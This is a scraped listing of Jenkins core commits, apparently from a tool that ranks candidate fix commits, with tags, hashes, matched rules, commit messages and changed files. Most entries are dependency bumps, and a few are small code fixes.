      Simplifying `JNLPLauncher` (#8762)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/java/hudson/model/Slave.java - - core/src/main/java/hudson/slaves/JNLPLauncher.java - - core/src/main/java/jenkins/slaves/RemotingWorkDirSettings.java - - core/src/main/resources/hudson/slaves/JNLPLauncher/config.jelly - - core/src/main/resources/hudson/slaves/JNLPLauncher/config.properties - - core/src/main/resources/hudson/slaves/JNLPLauncher/main.jelly - - core/src/main/resources/hudson/slaves/JNLPLauncher/main.properties - - core/src/main/resources/hudson/slaves/JNLPLauncher/main_bg.properties - - core/src/main/resources/hudson/slaves/JNLPLauncher/main_de.properties - - core/src/main/resources/hudson/slaves/JNLPLauncher/main_es.properties - - core/src/main/resources/hudson/slaves/JNLPLauncher/main_it.properties - - core/src/main/resources/hudson/slaves/JNLPLauncher/main_pt_BR.properties - - core/src/main/resources/hudson/slaves/JNLPLauncher/main_sr.properties - - core/src/main/resources/hudson/slaves/Messages.properties - - core/src/main/resources/hudson/slaves/Messages_pt_BR.properties - - core/src/main/resources/hudson/slaves/Messages_ru.properties - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Print deprecation warning when using `-jnlpUrl` (#8773) - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.437 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 05037a087ffc751e064710c207ad6b26c51d4a38 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8773
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Print deprecation warning when using `-jnlpUrl` (#8773)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/java/hudson/slaves/SlaveComputer.java - - pom.xml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Bump org.jenkins-ci:jenkins from 1.107 to 1.108 (#8772)... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.436 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - f885f927183d90bb4180a4a8f569fa039b3a6e5d -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8772
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Bump org.jenkins-ci:jenkins from 1.107 to 1.108 (#8772) Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - pom.xml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Bump net.java.dev.jna:jna from 5.13.0 to 5.14.0 (#8770)... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.436 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - f1e29df3859ea22520e5db62899fb622dbb92102 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8770
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Bump net.java.dev.jna:jna from 5.13.0 to 5.14.0 (#8770) Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - bom/pom.xml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Class loading deadlock between `PermalinkProjectAction.Permalink` &... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.436 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - f9a777bc682963de4640303b2f28ac488f9b93ef -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8736
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Class loading deadlock between `PermalinkProjectAction.Permalink` & `PeepholePermalink` (#8736) * Class loading deadlock between `PermalinkProjectAction` & `PeepholePermalink` * Checkstyle * Clearer reproducer * Do not let `Permalink` refer to its subclass `PeepholePermalink` in its static initializer * Cleaner test * Checkstyle * Maybe we should not run `initialized` from `Job.<clinit>` either
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/java/hudson/model/Job.java - - core/src/main/java/hudson/model/PermalinkProjectAction.java - - core/src/main/java/jenkins/model/PeepholePermalink.java - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Bump org.jenkins-ci.plugins:credentials from 1309.v8835d63eb_d8a_ to... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.436 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 85c1f8ddf228b1def6a8251b8d13512209552b2f -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8764
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Bump org.jenkins-ci.plugins:credentials from 1309.v8835d63eb_d8a_ to 1311.vcf0a_900b_37c2 (#8764) Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - test/pom.xml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Bump com.puppycrawl.tools:checkstyle from 10.12.5 to 10.12.6 (#8760)... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.436 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 8fbe0d39defc021dda6bf173280476dc6258a490 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8760
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Bump com.puppycrawl.tools:checkstyle from 10.12.5 to 10.12.6 (#8760) Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - pom.xml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Bump `tibdex/github-app-token` from 1 to 2 (try 2) (#8759) - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.436 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 3273aecb70d73aa58b4bbedf3195eb3f874a8fe6 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8759
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Bump `tibdex/github-app-token` from 1 to 2 (try 2) (#8759)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - .github/workflows/changelog.yml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Bump commons-logging:commons-logging from 1.2 to 1.3.0 (#8732) Bumps... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.436 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 1dac7b7c76292da71c95d865df4f01fe51cd0818 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8732
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Bump commons-logging:commons-logging from 1.2 to 1.3.0 (#8732) Bumps commons-logging:commons-logging from 1.2 to 1.3.0. --- updated-dependencies: - dependency-name: commons-logging:commons-logging dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - bom/pom.xml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Bump commons-io:commons-io from 2.15.0 to 2.15.1 (#8730)... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.436 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - bf90ba4e66176d45cbf6f5e6d0c35c92b3fe7c46 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8730
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Bump commons-io:commons-io from 2.15.0 to 2.15.1 (#8730) Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - bom/pom.xml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Bump `tibdex/github-app-token` from 1 to 2 (#8747) Signed-off-by:... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.436 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 37ab66e20c7300a289fb80ef952821d5209acd7c -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8747
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Bump `tibdex/github-app-token` from 1 to 2 (#8747) Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - .github/workflows/changelog.yml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update dependency eslint-config-prettier to v9.1.0 (#8750)... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.436 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 5cb3fa236764330e83780389fabb9f29e4beb75f -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8750
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update dependency eslint-config-prettier to v9.1.0 (#8750) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - war/package.json - - war/yarn.lock - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Bump io.jenkins.plugins:font-awesome-api from 6.4.2-1 to 6.5.1-1... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.436 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - c49faf87a87fb6e1e446f46df7eb2eab0215a960 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8744
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Bump io.jenkins.plugins:font-awesome-api from 6.4.2-1 to 6.5.1-1 (#8744) Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - test/pom.xml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Fixup yarn update to 4.0.2 (#8742) - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.436 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - fb3b760c458d5bad88385db5c44ac60543d88a18 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8742
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Fixup yarn update to 4.0.2 (#8742)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - war/pom.xml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update dependency postcss to v8.4.32 (#8749) Co-authored-by:... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.436 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 1dbfc627594aba8af12dc87af6d8d591aaaa2490 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8749
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update dependency postcss to v8.4.32 (#8749) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - war/package.json - - war/yarn.lock - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update dependency eslint to v8.55.0 (#8748) Co-authored-by:... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.435 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 17869eafc50efcf686aeb82956f4074819741286 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8748
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update dependency eslint to v8.55.0 (#8748) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - war/package.json - - war/yarn.lock - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [JENKINS-72343] Accept all 2xx and 3xx status codes to validate... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.435 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - b8344b98ec9c514e40d0e48f95957253f645be07 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8700
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [JENKINS-72343] Accept all 2xx and 3xx status codes to validate proxy in HTTP Proxy Configuration (#8700) * Accept all 2xx and 3xx status codes validate proxy in HTTP Proxy Configuration * add status code in the response to the user
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/java/hudson/ProxyConfiguration.java - - core/src/main/resources/hudson/Messages.properties - - core/src/main/resources/hudson/Messages_bg.properties - - core/src/main/resources/hudson/Messages_de.properties - - core/src/main/resources/hudson/Messages_es.properties - - core/src/main/resources/hudson/Messages_fr.properties - - core/src/main/resources/hudson/Messages_it.properties - - core/src/main/resources/hudson/Messages_ja.properties - - core/src/main/resources/hudson/Messages_pt_BR.properties - - core/src/main/resources/hudson/Messages_ru.properties - - core/src/main/resources/hudson/Messages_sr.properties - - core/src/main/resources/hudson/Messages_zh_TW.properties - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - do not specify anti-aliasing (#8689) specifying the anti-aliasing... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.435 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 62d22f3277a3c4a7cd0b74b6ffe1bfc2e5775ed3 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8689
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      do not specify anti-aliasing (#8689) specifying the anti-aliasing implies we know better than the browser (we don't). Specifiying this globally prevents the use of sub-pixel anti-aliasing where it is available and the browsers text rendering engines are these days pretty much fantastic that they should not need these hacks. and for good measure - here is an article from 10 years ago https://usabilitypost.com/2012/11/05/stop-fixing-font-smoothing/ and the mozilla doc saying do not use it on a public facing web site. https://developer.mozilla.org/en-US/docs/Web/CSS/font-smooth
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - war/src/main/scss/base/_core.scss - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [JENKINS-72196] avoid wrong styling when deleting the first of 2... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.435 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - dc983d0409668be74d28c91fa5dda4a1e076a78d -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8739
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [JENKINS-72196] avoid wrong styling when deleting the first of 2 shell steps (#8739) move link elements to head fixes JENKINS-72196 when in a form there are repeatables that both contain a codemirror config via a textarea. When deleting the first of those it can happen that the link elements importing the css for codemirror are defined in a div that gets deleted. This effectively removes the css from the DOM tree, so that other textareas afterwards that also require the codemirror css are no longer styled properly. The Behaviour uses a high negative value for the priority so that the move of the link elements is applied before any other behaviour jumps in, e.g. hetero-list and repeatable add the elements to the dom via jelly of all things can that can be added and later remove them from the dom and keep them in memory.
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - war/src/main/webapp/scripts/hudson-behavior.js - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update dependency sortablejs to v1.15.1 (#8741) Co-authored-by:... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.435 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - ee6535f13df77aa40422ae43c6ab9776e3659a56 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8741
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update dependency sortablejs to v1.15.1 (#8741) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - war/package.json - - war/yarn.lock - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Move proxy configuration form out of pluginManager screens as it is... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.435 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 1e9372ee5742d18f1181acd307f5087eeba90187 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8693
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Move proxy configuration form out of pluginManager screens as it is not related (#8693) * Move proxy configuration form out of pluginManager screens as it is not related --------- Signed-off-by: Olivier Lamy <olamy@apache.org>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/java/hudson/PluginManager.java - - core/src/main/java/hudson/ProxyConfigurationManager.java - - core/src/main/resources/hudson/Messages.properties - - core/src/main/resources/hudson/PluginManager/advanced.jelly - - core/src/main/resources/hudson/PluginManager/advanced.properties - - core/src/main/resources/hudson/PluginManager/advanced_fr.properties - - core/src/main/resources/hudson/ProxyConfigurationManager/config.jelly - - core/src/main/resources/hudson/model/Messages.properties - - core/src/main/resources/hudson/model/Messages_bg.properties - - core/src/main/resources/hudson/model/Messages_de.properties - - core/src/main/resources/hudson/model/Messages_es.properties - - core/src/main/resources/hudson/model/Messages_fr.properties - - core/src/main/resources/hudson/model/Messages_it.properties - - core/src/main/resources/hudson/model/Messages_ja.properties - - core/src/main/resources/hudson/model/Messages_lt.properties - - core/src/main/resources/hudson/model/Messages_pt_BR.properties - - core/src/main/resources/hudson/model/Messages_sr.properties - - core/src/main/resources/hudson/model/Messages_zh_TW.properties - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Don't try to publish artifacts on RC GitHub releases (#8733) - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.435 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 932cb225d3bcbfe15f8f843feea970012927abaa -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8733
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Don't try to publish artifacts on RC GitHub releases (#8733)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - .github/workflows/publish-release-artifact.yml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Upgrade bundled plugins (#8724) - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.435 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 78f1e9c8ebabab11d468f80572986e59a98a4d9c -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8724
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Upgrade bundled plugins (#8724)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - war/pom.xml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update babel monorepo to v7.23.5 (#8738) Co-authored-by:... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.435 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - f6de78afc3f3abf18180e204ef37e718a80dd161 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8738
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update babel monorepo to v7.23.5 (#8738) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - war/package.json - - war/yarn.lock - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Bump actions/setup-java from 3 to 4 (#8727) Bumps... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.435 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - ba64f8365ce56609d4b559d3ebfcda13e15d5f9a -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8727
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Bump actions/setup-java from 3 to 4 (#8727) Bumps [actions/setup-java](https://github.com/actions/setup-java) from 3 to 4. - [Release notes](https://github.com/actions/setup-java/releases) - [Commits](https://github.com/actions/setup-java/compare/v3...v4) --- updated-dependencies: - dependency-name: actions/setup-java dependency-type: direct:production update-type: version-update:semver-major ... Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - .github/workflows/publish-release-artifact.yml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Bump com.github.eirslett:frontend-maven-plugin from 1.14.2 to 1.15.0... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.435 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 48a855399bfbb9db863d20eb639b21f7fb33d1f2 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8737
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Bump com.github.eirslett:frontend-maven-plugin from 1.14.2 to 1.15.0 (#8737) Bumps [com.github.eirslett:frontend-maven-plugin](https://github.com/eirslett/frontend-maven-plugin) from 1.14.2 to 1.15.0. - [Changelog](https://github.com/eirslett/frontend-maven-plugin/blob/master/CHANGELOG.md) - [Commits](https://github.com/eirslett/frontend-maven-plugin/compare/frontend-plugins-1.14.2...frontend-plugins-1.15.0) --- updated-dependencies: - dependency-name: com.github.eirslett:frontend-maven-plugin dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - war/pom.xml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update dependency hotkeys-js to v3.12.2 (#8726) Co-authored-by:... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.435 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 39d9b6079ab19f60bba3fa27db996f6301fb227b -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8726
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update dependency hotkeys-js to v3.12.2 (#8726) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - war/package.json - - war/yarn.lock - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Remove reference to timeline widget in build history (#8718) Init... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.435 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 37622ec88a4f5e70f5980c78f7a0bdf3869ae9a2 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8718
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Remove reference to timeline widget in build history (#8718) Init Co-authored-by: Alexander Brandes <mc.cache@web.de>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/resources/hudson/model/Job/buildTimeTrend_resources.js - - core/src/main/resources/lib/hudson/buildListTable.jelly - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update dependency hotkeys-js to v3.12.1 (#8723) Co-authored-by:... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.435 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - edd70cdb30b9a47d02259212dd11d6fd37ac8a98 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8723
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update dependency hotkeys-js to v3.12.1 (#8723) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - war/package.json - - war/yarn.lock - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Merge pull request #8721 from... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.426.2 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - abe7181b63a705033b48e09823bfaf6ce18cd4ae -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8721
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Merge pull request #8721 from krisstern/feat/stable-2.426/backporting-2.426.2-1 Backporting for 2.426.2
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
